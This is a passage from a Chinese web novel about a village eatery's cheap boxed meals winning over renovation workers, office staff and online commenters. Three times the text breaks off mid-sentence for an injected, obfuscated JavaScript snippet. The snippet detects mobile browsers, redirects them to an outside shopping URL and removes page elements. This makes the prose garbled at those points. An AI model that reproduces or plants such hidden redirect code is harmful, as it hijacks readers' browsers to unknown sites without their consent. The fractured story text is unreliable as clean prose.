老林儿子眼角抽搐，瞅着他爸比常人大了几圈的肚子，实在昧不了良心说出“瘦了”两个字。 照他说，他妈炒肉煲汤都是多余。他爸吃个油麦配杂粮够了。 “行行行，你吃豆腐。快点过来吃饭。”老林儿子妥协了。他爸有时间拖拉，他没有。他还要赶回去上班。 老林咧开嘴，满意了。 他一手柱拐，一手端豆腐回到自己的床位。中途他儿子过来想帮忙拿豆腐，老林没让。 美味在自己手里才安全。 回到病床，老林彻底放开了。一块豆腐裹一坨杂粮饭，三下五除二将饭扫光。 “吃完了，你走吧。”老林挥挥手，把几乎没动的保温桶推过去。 老林儿子双唇噙动，最终什么也没说，提起保温桶出门了。 他前脚刚走，老林后脚咚咚凑到路瀑妈跟前。“你明天给我带一份。” 路瀑妈没说话。老林急得在原地直咚咚。“我偷偷吃，不会让他们知道。真被发现了，他们要骂也是骂我。” “唉你这孩子，怎么不懂变通？你放心给你爸吃，不放心给我吃？你买的饭什么水平你不知道？” “我没骗你，早上上称我真瘦了一斤。” 路瀑妈：…… 架不住老林的软磨硬泡，路瀑妈松了口。 这边，路瀑妈发展出小小的代购业务。另一边，秦婶的外卖也送得不错。 秦婶从店里拿了五十份盒饭试试水。她倒是想多拿一点，无奈安珀只有一双手，做不过来根本做不过来。 五十份盒饭也就俩兜子，秦婶将它们往后座一甩，大步跨上三轮，突突突地上路了。 上个房子装完了。这回，秦叔换了个工地。小三轮开过去大概要十五分钟。 对于秦婶，看看路上的风景、等等红绿灯时间就过了。对于工地上的工人，到点没饭吃，还不能走，简直是难熬。 “顺子，你说那家店靠不靠谱？楼对面也有家自助，十三块，不贵。我不想等了，不如我们去那吃。” “是啊，顺子。要不是听你吹，我早吃上饭了。” “嘿嘿，有些便宜也不是非占不可。我先走了，早吃完早休息。” 一人开头，人群呼啦啦涌上去。 顺子挡在几个人面前，急得五官用力。“小食堂的菜真的特别好吃。如果不是我们换了工地，太远了，我能天天跑到秦叔村里吃饭。” “哈哈哈，顺子你是小孩胃。我们喜欢重口味，吃不到一块去。” “走啦！” …… 一人挥手，剩下的人急忙跟上去，蜂拥出门。 “秦叔——”顺子无措喊一声。 秦叔拍拍手上的灰，随便找个角落坐下歇会。“没事。安珀家的饭不愁卖。没卖完你秦婶拿到村里吆喝几句，马上清空。” 说曹操曹操就到，秦婶马上出现在门口，正好和几人撞上。 “不吃饭啦？”秦婶大嗓门问。“你们主动说的，要我帮忙代买。” “来来来，仅此一次。不吃完不准走。”秦婶把他们全部赶回去。 几人张张嘴，什么反抗的动作都没有，顺着秦婶赶人的力道回去了。 这事纯属他们几个犯贱。看到老秦顿顿菜不一样，便开玩笑说：他们什么时候能吃到嫂子的饭。 顺子刚好从旁边经过，补了一句：不是秦婶做的，是他们村里的安家小食堂买的。 那天也不知道脑子哪颗筋抽了，当即一个电话飚过去，要秦婶帮忙代买。 无论如何，这顿外卖必须吃。 几人很快摆正心态，帮着秦婶一起拆袋子。 “嚯，嫂子你买这么多，我们哪吃得完。”秦婶点点数，拿出七份摆开。“别想了，这里才是你们的。剩下的我要拿去卖。” “这…这……”其中一人结结巴巴。“这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16918361|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点，大家都去吃饭了。几十份，嫂子你能卖给谁？” 秦婶哈哈大笑，拍拍他肩膀。“路走窄了，谁说工地只有你们装修的。” 两兜子再分均匀，秦婶一边一袋拎着走了。 一堆饭在他们眼前飘过，又走了。几人盯着孤零零的几盒，有点回不过神。 顺子才不管他们的想法，插进去掏出两盒饭。一份递给秦叔，自己一屁股坐在他旁边，拆开盖子准备吃饭。 “哇，有牛肉和虾。”顺子惊讶出声，反手掀开另一个单独包装。“天啊，还有餐后甜点。老板太大方了。” 牛肉和虾可是好东西。随便做都难吃不到哪去。 几人一听，赶紧抱起盒子吃饭，哪顾得上秦婶上哪卖饭去了。 几个盖子陆续掀开，牛肉和虾香陆续叠加，汇聚在这小小的一方天地。 “真有虾，顺子这小子没骗人。” “我儿子最喜欢吃虾了。可惜是辣的，不能带回去给他吃。” “这还不简单。你把甜品拿回去，改天抽空带他去店里吃一顿。” “好辣，斯哈斯哈——要是能来罐冰啤可太爽了。” …… 干体力活的，饭量大，吃饭的速度也快。几张大嘴风卷残云，高高堆起的盒饭以肉眼可见的速度消灭。 几人陆陆续续吃完饭。胃部传来鼓胀的感觉，嘴巴似乎不满足，还想再来一份。 互相看看，几人舔舔嘴巴残存的肉香。 “还想吃。” “我好像饱了，又好像没饱。” “不如我们几个再拼三份？” “我没意见，可你们知道秦婶去哪了吗？” 几张脸上一片空白。而他们心心念念的秦婶一间一间地跑推销掉大部分盒饭后，潇洒带着仅剩的五份盒饭，在楼下摆起了摊。 吃完饭的工人来来往往，秦婶的视线在其中梭巡，始终没找到目标客户。 忽然一个穿着长款防晒衣，全身包裹得严严实实的女生落入秦婶视网膜。 秦婶招招手，大嗓门喊：“美女，吃盒饭吗？三块五一份。” 滞销的盒饭要适当降价，她也懂。 女生脚步一顿，肚子因为这句吃饭来了感觉，咕噜咕噜个不停。 虽然业主的装修出现了问题，但她吃个饭不影响。 真要这么容易搞定，她也不至于大老远跑过来了。 “来一份。”女生想起自家饭搭子因为姨妈痛还没吃饭，临时改口。“来两份。” 付完款，女生正准备找个角落吃完，手机铃声开始猛地催促。 叹口气，她摁上打开一角的盒饭，匆匆上楼。 而这口饭，她忙到回公司才能喘口气吃上一口。 送走大顾客，秦婶又迎来一对小夫妻。 “帅哥美女，吃饭吗？便宜卖，只要三块五。” 两人对价格很敏感，手拉手拐个大弯跑过来了。 “辛如，房子快装完了。我们手头宽松了点，要不去吃点好的？”男生站在几步远，鼻子时不时皱皱，显然嫌弃盒饭的档次不够。 “帅哥。”秦婶搭话。“你可别小瞧我这盒饭。菜色比你专门去外面下馆子的要好，而且是专业大厨制作。” 秦婶边说边打开盒饭，让小夫妻看菜。 小夫妻好奇凑近，脸色煞白退出几步。 45. 第 45 章 这……这阿姨从哪弄来的虾和牛肉。 3.5的虾和牛肉？ 该不会是死虾和病牛吧！ 一时间，网上报道过黑心商贩的案例纷纷闪过夫妻俩脑子。 大虾色泽金黄，麻麻辣辣的香气直直闯入鼻腔。 瞧这颜色、这味道，各种知名的不知名的添加剂从脑袋转过一圈。 用脚趾头想都知道里面一定添了些不该加的。 夫妻俩一愣，瞳孔放大，双双后退几步。 瞧这颜色、这味道里面一定添了些不该加的。 阿姨的心被狗吃了啊！ “家里少了材料，装修师傅喊我们赶紧买回去。饭先不吃了。”说完，辛如揪起她老公腰间的软肉，眼尾不自然抽动。 “是……”她老公卡卡扭过头。“是少了两块砖。瓷砖店老板等着我们过去对颜色。快点，去迟了老板不在店，又耽误一天功夫。” 夫妻俩你问我答，牵起手跑远了。 秦婶凑近盒饭闻了闻，嘀咕道：“没变味啊！” 眼见偏向下午的太阳越来越毒，秦婶收起盒饭，小三轮突突突回家搓麻将去了。 剩三份，正好她的牌搭子一人一份。 吃饱饭，搓麻将脑子更清楚。 装修小队冲下楼，灌了一嘴三轮的尾气，眼睁睁看着自己的加餐变成个小点。 “呸呸呸，下次叫秦婶多带点过来，不够吃。” “听说去店里吃不限量，还便宜一块。” 简简单单一句话，瞬间勾起装修小队的馋虫。 是啊，什么时候能去店里搓一顿。 对啊，这家店到底在哪？ 匆匆买了盒饭的女孩同样在拼命找店。 解决完业主衣帽间尺寸问题后，女孩提着入手冰凉的盒饭，赶回了公司。 “方云，你居然有时间买饭。” 砰地一声，方云将盒饭搁到桌上，随即全身放松瘫在靠背，长长叹口气。听到动静，裹紧毛毯的同事从对面桌瞅一眼，发出惊叹，然后啪叽趴在桌面，仿佛电量耗尽。 “楼下顺手买的，给你带了一份，吃吗？” 饭搭子支起手，耷拉两下，声音有气无力。“吃不了，肚子绞得我想吐。” 买饭的时候，方云做了两手准备。饭搭子不吃，她就带回去晚上吃。 叮—— 机械旋钮归零，盒饭好像安装了扩香器，麻辣香气霸道占据办公室。 口水一滩滩产生，方云全身细胞都在叫嚣——想吃。 一个箭步闪现回工位，黄灿灿的大虾，酱色的牛肉碎差点闪瞎她眼。 方云满满扒了一口牛肉捞菜拌饭。 肉香满满、油脂丰润的底油没入米饭，使得微甜的饭自带一股奶香。捞菜和牛肉一齐在齿间滚动。酱料腌制出的肉汁加上碎椒的甜辣，一下子给舌尖来了个大的刺激，香到不行。 方云一激灵，嘴里还没吃完，克制不住又塞一口。 “哇，够味，好爽！” 饭搭子强支开眼，鼻子动动，四处嗅闻。“方云，吃什么了？好香。” 咽下一大嘴饭，方云嗖地把炖奶推过去。 “给你热了份黑芝麻糊炖奶。姨妈时期，吃甜的舒服点。” 光顾吃了，差点把炖奶忘了。 炖奶在微波炉待的时间久了点，表层出现了不规则的焦黄块。 饭搭子拖过来闻了闻，焦香的牛奶味是主调。热度透过指腹传进身体，下坠的腹部貌似舒服了点。 她从小就这样，一来姨妈就疼到直不起身，恨不得躺床上过完整个时期才好。要不是小县城双休的工作不好找，她才不会强撑出来上班。 甜甜的味道让她精神了点，饭搭子拿出勺子，一捅到底。 醇厚的熟芝麻香透过缝隙，一缕一缕奔向鼻尖。 饭搭子耷拉的眼皮撑起点，猴急咬上一口。 唔~ 芝麻糊温温热热，丝滑流体，迅速占满舌尖，口腔四处都是芝麻浓厚的坚果香。奶香滑嫩，带起牛奶糖的甜，像在吃变体版焦糖布丁。 温热下肚，腰间酸疼减轻一丢丢。 饭搭子轻松发出感叹。 “好好吃。” “嘶，好好吃。” 与此同时，对面发出相同的感慨。再含一口炖奶，饭搭子抬眼望去，方云无师自通，做了个汉堡。 大虾夹在两片豆腐之间，对半啃一口。 豆腐脆皮率先撕裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16938122|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开，隐藏的汁液飚出。孔隙松散，牙齿之后接触的是豆腐的嫩滑，咸鲜的大豆香。 咔嚓 再往下探，酥脆的虾皮被汤汁浸润，突出几分韧劲。一时着急，齿间多用了点力，汉堡吃了个严严实实。 大部分辣味让豆腐吸收，爽辣过后是回甘。为了让大虾味道层次丰富，安珀在里面加了不少花椒。 众所周知，花椒会躲在任何你能想到、想不到的位置。简称花椒刺客。 方云一口磕到不少刺客。 花椒味瞬间爆发，酥麻的痛觉不停攻击上颚，方云嘴皮子努努，拼命想甩掉蚂蚁乱爬的痛痒感。 她不吃麻，味蕾对麻的耐受力基本为零。 酥酥的感觉可把她折磨得够呛，方云只能斯哈斯哈流口水，冲刷掉这股不适感。 “豆腐汉堡是什么味道？”托腮，饭搭子细细抿芝麻糊，好奇问。 方云吃一块纯豆腐压味，想了想。“辣度降低，麻味没变，虾肉紧实新鲜，豆腐外酥里嫩。它沾上大虾的辣味，有点像夜市撒满辣椒粉的铁板豆腐。” 咕咚—— 仅凭方云简单的描述，饭搭子不可抑制产生许多唾液。 舌尖甜滋滋，气味却是对面飘来的香辣。 好想吃！ “要试试吗？”想法刚跑出来一秒，方云像是她肚里的蛔虫，主动夹出一只大虾，递到她嘴边。 香辣味更明显了。她垂下眸，能清楚看到大虾流畅卷曲的线条，沾满辣油的外壳，以及错落重叠泛起油光的虾尾。 是个艺术品。 咕咚咕咚 饭搭子喉咙动了动，腹中的隐痛在极力抗拒这份刺激。偏开头，她舔舔口中丰富的芝麻味，增强抵制力。 “不了，改天吃。” “你吃豆腐，豆腐不辣。”撤掉大虾，方云塞了块豆腐进她嘴。 奶甜香一扫而空，清爽感席卷口腔。脆脆的小葱铺满表面，口里连带鼻子都是小葱花刺激的香气。 和方云说的一样，外脆里嫩，酱汁充足。 真的好好吃！ “方云，你在楼下哪个店买的？等我姨妈走了，我要先去吃个十天八天。”饭搭子直接种草这家店，她要吃到腻为止。 46. 第 46 章 方云嘴巴塞得满满当当，听到饭搭子的问题，她努力在脑袋里搜寻一圈，没找到任何关于盒饭店的信息。 “不知道。在业主楼下阿姨摊子上买的，3.5一份。”方云咬着筷子，把仅有的信息说出来。 耷拉了好几天的眼睛瞬间瞪大，饭搭子不可置信又舀了勺芝麻糊。 没错，芝麻味浓郁到像是自家机子打出来的。 3.5？老板怕是在里面加了些增香剂。饭搭子失声叫出来。 方云扒饭动作有一瞬间僵硬，她反手夹块大虾压压惊，语气平静开解饭搭子。“放心，添加剂多贵。老板挣得不多，肯定不舍得给我们加这些好东西。” 方大夫妙手回春，一秒治好饭搭子的担忧。 她呼噜呼噜几下把黑芝麻糊干光，长长哈了一声。“盒饭店到底在哪？第一顿即最后一顿？我不要我的美食离我而去啊！” 饭搭子发疯啊啊个不停，忽然她的余光扫过桌上的袋子。方云回办公室的时候说过什么来着…… “方云，我的盒饭给我吧，我带回去吃。” 第二顿get！ 靠在椅背，方云嘴里正在回味，冷不丁听到晚饭要跑了，想也没想挡回去。“小心吃了肚子疼。” “以毒攻毒，吃完姨妈就不折磨我了。医生交代我多吃有营养的，我看牛肉就不错。”饭搭子搬出另一个挡箭牌。 两张办公桌拼在一起。上空，两人视线激烈对撞，一来一回互相厮杀，火花四溅。 最终，方云率先投降。拎起盖子，翻转给饭搭子看。 上面板板正正印了“安家小食堂”五个字。 “搜搜。” 话音刚落，饭搭子掏出手机，哒哒在地图输入店名。 一连串的相似结果很快跳出来。 方云和饭搭子凑在一起，从上扫到下，压根没找到一摸一样的结果。 饭搭子噗一下泄气，趴回桌上，声音幽幽。“要不，你把饭还给我。” 到嘴的饭怎么可能吐出来，方云垂死挣扎。“发个小地瓜问问，附近应该有人知道。” 大数据十分神奇，帖子的问题总会有人知道答案。 说不定她们下班后就可以去搓一顿了。 方云越想越兴奋，先把自己说服了。 【姐妹们，这家店简直是牛马人福利，便宜又好吃。有没有人知道在哪？】 写好文案，方云拿起手机对准盒饭的包装咔咔一顿拍，上传，一气呵成。 忙完这些，方云先工作了，饭搭子也没纠结仅剩的盒饭独苗。 冷的哪有店里热乎的好吃。 嗡嗡嗡—— 手机跟着方云敲键盘的声音动作，持续个不停。 轻啧一声，她拿起手机解锁，后台99+的消息差点吓得方云把手机扔出去。 “我靠！” “怎么了？”饭搭子弹起头。 方云神情恍惚，瞳孔扩散，喃喃道：“我火了——” 饭搭子：？？？ 话说得不明不白，她心尖好似有只猫在抓挠。裹紧毯子，饭搭子绕过去，抢起方云手机。 只一下，饭搭子瞪大眼。“我滴天，方云你成网红了。” 提示音滴滴个不停，震得她手心发麻。几乎每秒就会有几个新评论跑出来，从上滑到下，看得她眼睛发胀。 【不知道，看起来挺好吃的。有消息踢我一下。】 【哇，哪家的？菜也太好了，居然还有虾。我也期待一下。】 【安家小食堂？上面有店名，姐妹自己搜一下啊！】 …… 扫过一页又一页，她俩始终没找到想要的地址。突然，一条最新评论跳出来，霎时攫住两人眼球。 【姐妹找的这家店位置有点偏，在金晨一中新校区后门。另外，小食堂晚上不开门，别跑空了。安家小食堂真的好好吃，入股不亏！】 紧接着，又有一条评论附和前楼。 【看你发的图片，应该是小食堂近期推出的外卖。如果去店里吃，价格要便宜一块，而且菜色无限畅吃。如果嫌远不想过去，可以去翠爵豪庭楼下蹲秦婶的外卖。她和老板住一个村，盒饭绝对是正品。想吃要早点来，楼上装修队很多人抢着买。】 评论的人正是秦叔装修队里的顺子。自从吃过一次小食堂的饭后，他已经变成了店里的无脑吹。 临近午休结束，手机刚好推出一个帖子，他点进去一看。嘿，巧了不是。他中午正好吃的安家小食堂。 美食当然要分享给所有人。顺子啪啪一顿评论，将小食堂的情况事无巨细写出来。 他压根不知道，写的时候有多爽，抢饭的时候就有多狼狈。 “对上了。”方云惊喜大叫。“我中午去的就是翠爵豪庭小区。” “不过金晨一中新校区搬到哪了？” “你不知道？”饭搭子斜靠在桌边。“县城边边，离我们这里起码半个小时。但离你接业务的那个新小区挺近。” 近不近的，她又不是每天跑翠爵豪庭。 得，晚饭计划怕泡汤。 饭搭子指尖悄摸勾住塑料袋，眼神飘忽。“要不，我的饭……” 砰，哗啦啦—— 方云单手压住盒饭，咬牙切齿道：“半小时算什么，周末我请你吃饭。” 饭搭子嗖地收回手。“其实我现在不太适合吃辣。” 方云：…… 方云发出的找店帖子流量不错，附近有不少人刷到了。许多人冒出周末去吃吃的想法，当然也包括辛如夫妻俩。 从新房下来的时候，两人已经错过饭点，加上在秦婶那耽误了点时间。小两口直奔附近的沙县，准备随便吃点赶回去上班。 粉面饺子炒饭摆满桌子，辛如一边嗦两口，一边刷点美食小视频下饭。方云的帖子就这样跳入她眼底。 “咦？”辛如轻吹两口粉。“老公，你看看这是不是黑心阿姨卖的盒饭？真有人敢吃啊！” 辛如老公接过手机，努力辨认。“没错。” 他对盒饭的印象深刻，里面的菜颜色太漂亮了。恍惚间，他觉得这些菜不该委屈挤在盒子里，而是应该摆个精致的盘，卖他188一份。 他继续往下划，窥视着评论区。他有点好奇，什么神人才会不怕死去吃这种东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16947632|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唉！”辛如老公惊叹一声，眉头紧皱，好像要夹死一只苍蝇。 评论区的发展好像和他想象中不一样。先是有人站出来热心分享，再是很多人跟风想去店里打卡。 为什么？盒饭不是不能吃……吗？ 他五官的变化实在是过于丰富，辛如把碗底的碎粉尽数扒拉进嘴，单手抢过手机。“怎么了？” 热热闹闹的评论区展现在她眼前，盒饭丰富的香气好像出现在她嘴里，衬得嘴里的粉没滋没味。 辛如艰难咽下一大口粉，不合时宜发出感叹。“原来阿姨说的是真的，盒饭是专业大厨做的。” “下次碰到阿姨，我要买一份尝尝。香到我流口水，味道肯定不错。” 不知道是不是被盒饭诱惑到了，辛如老公的话从平滑的大脑溜过去。 “盒饭有什么好吃的，又冷分量又少。要去就去店里，随便吃还便宜。” 辛如：？？？这是她老公？ 周末打卡大军再加一员，安珀的工作量即将剧增。当然，现在的工作量已经超出安珀的极限了。 她揉了揉发酸的膀子，脑袋放空发了会呆。突然，她噌地抓起车钥匙，小三轮突突突往外赶，迎面碰上放学回家的安栗都没打招呼。 颠簸了几分钟，小三轮一个滑铲停在村口。 村里人吃饭早。五点刚过，有不少村民端碗蹲在四周，互相瞧瞧碗里的菜，大声聊八卦。 “齐家女儿心真狠，一句话没给婆家交代，把肚子里的孩子打了，带着大女儿回娘家了。”作为村口情报站的中心，曹大嘴零帧起手开始分享村里的八卦。 “哎呦，作孽哦。好好的孩子怎么给打了？” “她老公被大货车撞死了。”曹大嘴压低声音，眼珠子四处转。旁边婶子们会意，饭也不吃了，眼巴巴挤到她身边。 “她婆婆见她只有一个女儿，死活不肯把赔偿款拿出来。听说，想留给小叔子娶老婆。齐莫千性子也硬，直接上医院把孩子打了。她婆婆知道后，气疯了，三天两头上齐家闹。齐莫千的小月子怕是都没坐好。” “齐爱阳能让她在家门口滚？”八卦有点大，婶子们饭都顾不上吃，急切追问。 “哪能啊！”曹大嘴硬气哼声。“齐爱阳往她头上浇了一兜子鸡粪。齐莫千婆婆扭头就去村委会滚了。” “里面的领导见影响不好，把齐爱阳收垃圾的工作停了，让她先回去处理家务事。” “哦呦——”婶子们一阵唏嘘。“收垃圾这么热门，齐爱阳的工作要没了。” “肯定的。” “齐莫千也是惨，小小年纪没了爸，现在她女儿也小小年纪没了爸。齐爱阳工作又没了，一家子可怎么活。” “谁说不是。” 八卦听完，婶子们不舍散开。一个转头却见安珀站在不远处，暖黄的夕阳打在她头顶，衬得她嘴角似笑非笑。 婶子们一哆嗦，齐刷刷看向曹大嘴。 曹大嘴抖了抖，踢踢蹲在地上的小孙子。“你又干嘛了？” 埋头苦吃的小孙子仰起头，露出沾满米粒的嘴，懵懵懂懂问：“奶奶，我干嘛了？”